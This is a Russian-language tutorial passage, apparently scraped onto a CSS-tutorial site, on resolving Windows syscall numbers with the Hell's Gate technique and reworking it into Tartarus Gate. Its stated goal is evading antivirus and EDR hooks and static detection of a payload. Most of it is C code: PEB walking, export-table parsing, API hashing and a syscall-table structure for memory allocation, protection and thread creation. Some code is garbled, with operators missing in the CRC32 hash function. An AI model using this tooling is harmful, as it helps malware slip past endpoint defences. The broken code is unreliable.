Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Сисколы (они же системные вызовы) — очень большая и интересная тема. Я постарался вкратце описать, что это и зачем они нужны. Если ты захочешь более глубоко погрузиться в тему, ниже найдешь несколько полезных ссылок.
Итак, сискол можно считать переходной стадией между пользовательским режимом (User Mode) и режимом ядра (Kernel Mode). Это как бы переход из одного мира системы в другой. Если еще проще, то сискол — просто обращение к ядру.
Вызовы ядра крайне важны для корректного функционирования системы. Например, именно заложенные в ядре функции позволяют создавать файлы. Каждый сискол однозначно идентифицируется по своему номеру. Этот номер называется по‑разному, где‑то Syscall Id, где‑то Syscall Number, где‑то SSN — System Service Number. Номер сискола подсказывает ядру, что ему нужно делать. Он заносится в регистр eax
, после чего выполняется инструкция syscall
, которая осуществляет переход в режим ядра.
Проблема в том, что средства защиты могут ставить хуки непосредственно перед вызовом инструкции syscall
. Например, как на следующем скриншоте.
Это может свидетельствовать о наличии хука. Ничто не мешает нам напрямую вызывать инструкцию syscall
из адресного пространства своего процесса, такая техника называется Direct Syscall. Мы даже можем обращаться к инструкции syscall
, найдя ее адрес в смапленной в наш процесс библиотеке ntdll.
(такая техника называется Indirect Syscall). Проблема лишь одна — нужен SSN. Без номера сискола, сохраненного в регистре eax
, ничего не получится.
SSN различается от системы к системе. Он зависит от версии Windows. Есть отличная таблица актуальных сисколов, но каждый раз хардкодить SSN вообще не вариант. Поэтому давно придуманы способы динамически доставать номера сисколов, а затем уже с этими номерами выполнять Direct- или Indirect-вызовы.
Давай разберем один из самых известных методов — Hell’s Gate, а затем перепишем его под Tartarus Gate.
Техника обнаружения SSN достаточно проста. Сначала, чтобы получить загруженный в процесс адрес ntdll.
, программа достает адреса TEB (Thread Environment Block), за ним PEB (Process Environment Block). А после извлекает из таблицы PEB_LDR_DATA базовый адрес загрузки ntdll.
.
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
...
}
Программа, зная базовый адрес загрузки библиотеки, получает адрес EAT (Export Address Table). В этой таблице содержатся адреса всех экспортируемых из библиотеки функций.
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
После успешного получения всех адресов идет инициализация специальной структуры — структуры VX_TABLE
.
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
Таблица VX_TABLE
состоит из других структур VX_TABLE_ENTRY
. Внутри них будут заполнены элементы pAddress
, dwHash
и wSystemCall
, которые отвечают соответственно за адрес нужной функции, хеш от имени функции (он потребуется для API Hashing) и номера системного вызова.
Для обнаружения сискола используется функция GetVxTableEntry(
, но перед этим предварительно инициализируется элемент dwHash
описанной выше структуры. Хеш рассчитывается заранее. Для этого используется алгоритм djb2, вынесенный в отдельную функцию.
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
GetVxTableEntry(
парсит EAT и обнаруживает адрес нужной функции с помощью API Hashing.
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
...
После обнаружения нужной функции ее адрес записывается в таблицу, а затем ищется номер сискола для этой функции. Hell’s Gate ищет паттерн, характерный для вызова сискола.
mov r10,rcx
mov rcx,<syscall number>
Так выглядит шаблон вызова сисколаДля этого Hell’s Gate сканирует память на наличие соответствующих опкодов.
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
ОпкодыЕсли паттерн найден, начинается вычленение номера сискола. Для наглядности возьмем сискол с «длинным» номером, например 10F
. В дизассемблере увидим интересную картину.
Инструкция, сохраняющая номер сискола в регистр eax
, выглядит вроде бы нормально, но если мы посмотрим внимательнее, то увидим, что номер сискола представлен как бы в перевернутом виде.
B8 0F010000
mov eax,10F # 0xb8 0x0F 0x01 0x00 0x00
Hell’s Gate знает о таком поведении системы, поэтому вычленяет сисколы с использованием специального алгоритма.
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
Если мы поставим бряк на предпоследнюю строчку кода, то увидим, что в high
попадает «верхняя» часть, а в low
— «нижняя».
Соответственно, если алгоритм вычленяет SSN 10F
, то переменные инициализируются как 0x1
и 0xF
.
В wSystemmCall
заносится значение high
со сдвигом влево на 8 байт. Это приводит к получению из 0000
значения 1
. Следующим шагом выполняется побитовая операция ИЛИ со значением 0000
(0xF
в двоичной системе счисления), в результате мы получаем 1
. А это, в свою очередь, равно 10F
. 10F
как раз и есть номер сискола.
Дополнительно программа проверяет, не ушли ли мы в поиске номера сискола слишком далеко. Для этого также используются опкоды.
Начнем с того, что сменим алгоритм djb2 на какой‑нибудь другой, например на crc32h. Это нужно, чтобы из нашего пейлоада пропали некоторые статик‑детекты, основанные на хешах используемых нами имен WinAPI-функций. Для этого создадим функцию, реализующую логику по хешированию.
...unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 1,g2 = g0 2, g3 = g0 3, g4 = g0 4, g5 = g0 5,g6 = (g0 6) ^ g0, g7 = ((g0 6) ^ g0) 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) {crc = crc ^ byte;c = ((crc << 31 31) & g7) ^ ((crc << 30 31) & g6) ^((crc << 29 31) & g5) ^ ((crc << 28 31) & g4) ^((crc << 27 31) & g3) ^ ((crc << 26 31) & g2) ^((crc << 25 31) & g1) ^ ((crc << 24 31) & g0);crc = ((unsigned)crc 8) ^ c;i = i + 1;
}
return ~crc;}
Конечно, можно было просто поменять SEED
-значение и рассчитываемый хеш в функции djb2(
, но мы все‑таки решили полноценно переписать инструмент, а не баловаться, меняя переменные.
Для удобства вызова и автоматического приведения к нужному типу создадим макрос.
#define HASH(API) crc32h((char*)API)
Так как мы пока незнакомы с Compile-Time API Hashing, напишем программу для пересчета хешей от нужных нам функций.
#include <stdio.h>#define SEED 0xEDB88320#define STR "_CRC32"unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 1,g2 = g0 2, g3 = g0 3, g4 = g0 4, g5 = g0 5,g6 = (g0 6) ^ g0, g7 = ((g0 6) ^ g0) 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) {crc = crc ^ byte;c = ((crc << 31 31) & g7) ^ ((crc << 30 31) & g6) ^((crc << 29 31) & g5) ^ ((crc << 28 31) & g4) ^((crc << 27 31) & g3) ^ ((crc << 26 31) & g2) ^((crc << 25 31) & g1) ^ ((crc << 24 31) & g0);crc = ((unsigned)crc 8) ^ c;i = i + 1;
}
return ~crc;}#define HASH(API) crc32h((char*)API)int main() {
printf("#define %s%s t0x%0.8X n", "NtAllocateVirtualMemory", STR, HASH("NtAllocateVirtualMemory"));
printf("#define %s%s t0x%0.8X n", "NtProtectVirtualMemory", STR, HASH("NtProtectVirtualMemory"));
printf("#define %s%s t0x%0.8X n", "NtCreateThreadEx", STR, HASH("NtCreateThreadEx"));
printf("#define %s%s t0x%0.8X n", "NtWaitForSingleObject", STR, HASH("NtWaitForSingleObject"));
return 0;}
Новые хеши Как ты помнишь, функция GetVxTableEntry(
используется для получения номера сискола. Проблема в том, что вызывается она далеко не один раз, но при каждом вызове идет повторный расчет всех нужных адресов, что сказывается на эффективности работы программы. Предлагаю завести отдельную структуру NTDLL_CONFIG
, внутри которой будут содержаться все эти данные. Их достаточно инициализировать лишь единожды, а затем можно просто обращаться к ним.
typedef struct _NTDLL_CONFIG
{
PDWORDpdwArrayOfAddresses;
PDWORDpdwArrayOfNames;
PWORDpwArrayOfOrdinals;
DWORDdwNumberOfNames;
ULONG_PTR uModule;
}NTDLL_CONFIG, *PNTDLL_CONFIG;
// Глобальная переменная, которая будет все это хранить
NTDLL_CONFIG g_NtdllConf = { 0 };
Для инициализации достаточно один раз вызвать функцию InitNtdllConfigStructure(
.
BOOL InitNtdllConfigStructure() {
// Получение peb
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb || pPeb->OSMajorVersion != 0xA)
return FALSE;
// Получение ntdll.dll (первый элемент. Нулевой — наша программа)
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Получение базового адреса загрузки ntdll.dll
ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
if (!uModule)
return FALSE;
// Получение DOS-хедера
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// Получение NT-заголовков
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
// Получение таблицы экспортов
PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!pImgExpDir)
return FALSE;
// Инициализация всех элементов у глобальной переменной
g_NtdllConf.uModule= uModule;
g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames;
g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->AddressOfNames);
g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions);
g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->AddressOfNameOrdinals);
// Проверка
if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !g_NtdllConf.pwArrayOfOrdinals)
return FALSE;
else
return TRUE;
}
Саму функцию GetVxTableEntry(
следует переименовать в FetchNtSyscall(
. Мы оставим всего два параметра: dwSysHash
(хеш‑значение от имени функции, которую нужно засисколить) и pNtSys
— указатель на структуру NT_SYSCALL
, которая будет содержать всю необходимую информацию для осуществления сискола.
typedef struct _NT_SYSCALL
{
DWORD dwSSn;
DWORD dwSyscallHash;
PVOID pSyscallAddress;
}NT_SYSCALL, *PNT_SYSCALL;
Функцию InitNtdllConfigStructure(
следует вызывать из функции FetchNtSyscall(
. Предлагаю просто проверять, инициализирован ли элемент, содержащий базовый адрес загрузки ntdll.
. Если нет, то вызываем функцию, если этот элемент уже имеет какое‑то значение, то вызов не требуется. Алгоритм для поиска сискола пока что не меняем.
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {
PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
if (HASH(pcFuncName) == dwSysHash) {
pNtSys->pSyscallAddress = pFuncAddress;
WORD cw = 0;
while (TRUE) {
...тут алгоритм поиска сискола...
}
cw++;
}
break;
}
}
// Если что-то не инициализировалось, то все плохо
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
return TRUE;
else
return FALSE;
}
Hell’s Gate — один из простейших способов нахождения сискола. Проблема в том, что он просто пробегает по памяти в одном направлении, пытаясь обнаружить сискол. К сожалению, в современных реалиях этот вариант, мягко говоря, не самый рабочий. Что мешает антивирусному продукту внести некоторые изменения? Например, добавить лишнюю инструкцию, чтобы сломать поиск Hell’s Gate.
Неизмененную последовательность без проблем получится обнаружить, но если мы просто добавим лишние инструкции? Напомню, как выглядит паттерн, который ищет сискол.
0x4c 0x8b 0xd1 0xb8 ...0x00 0x00
Неизмененный код
|
|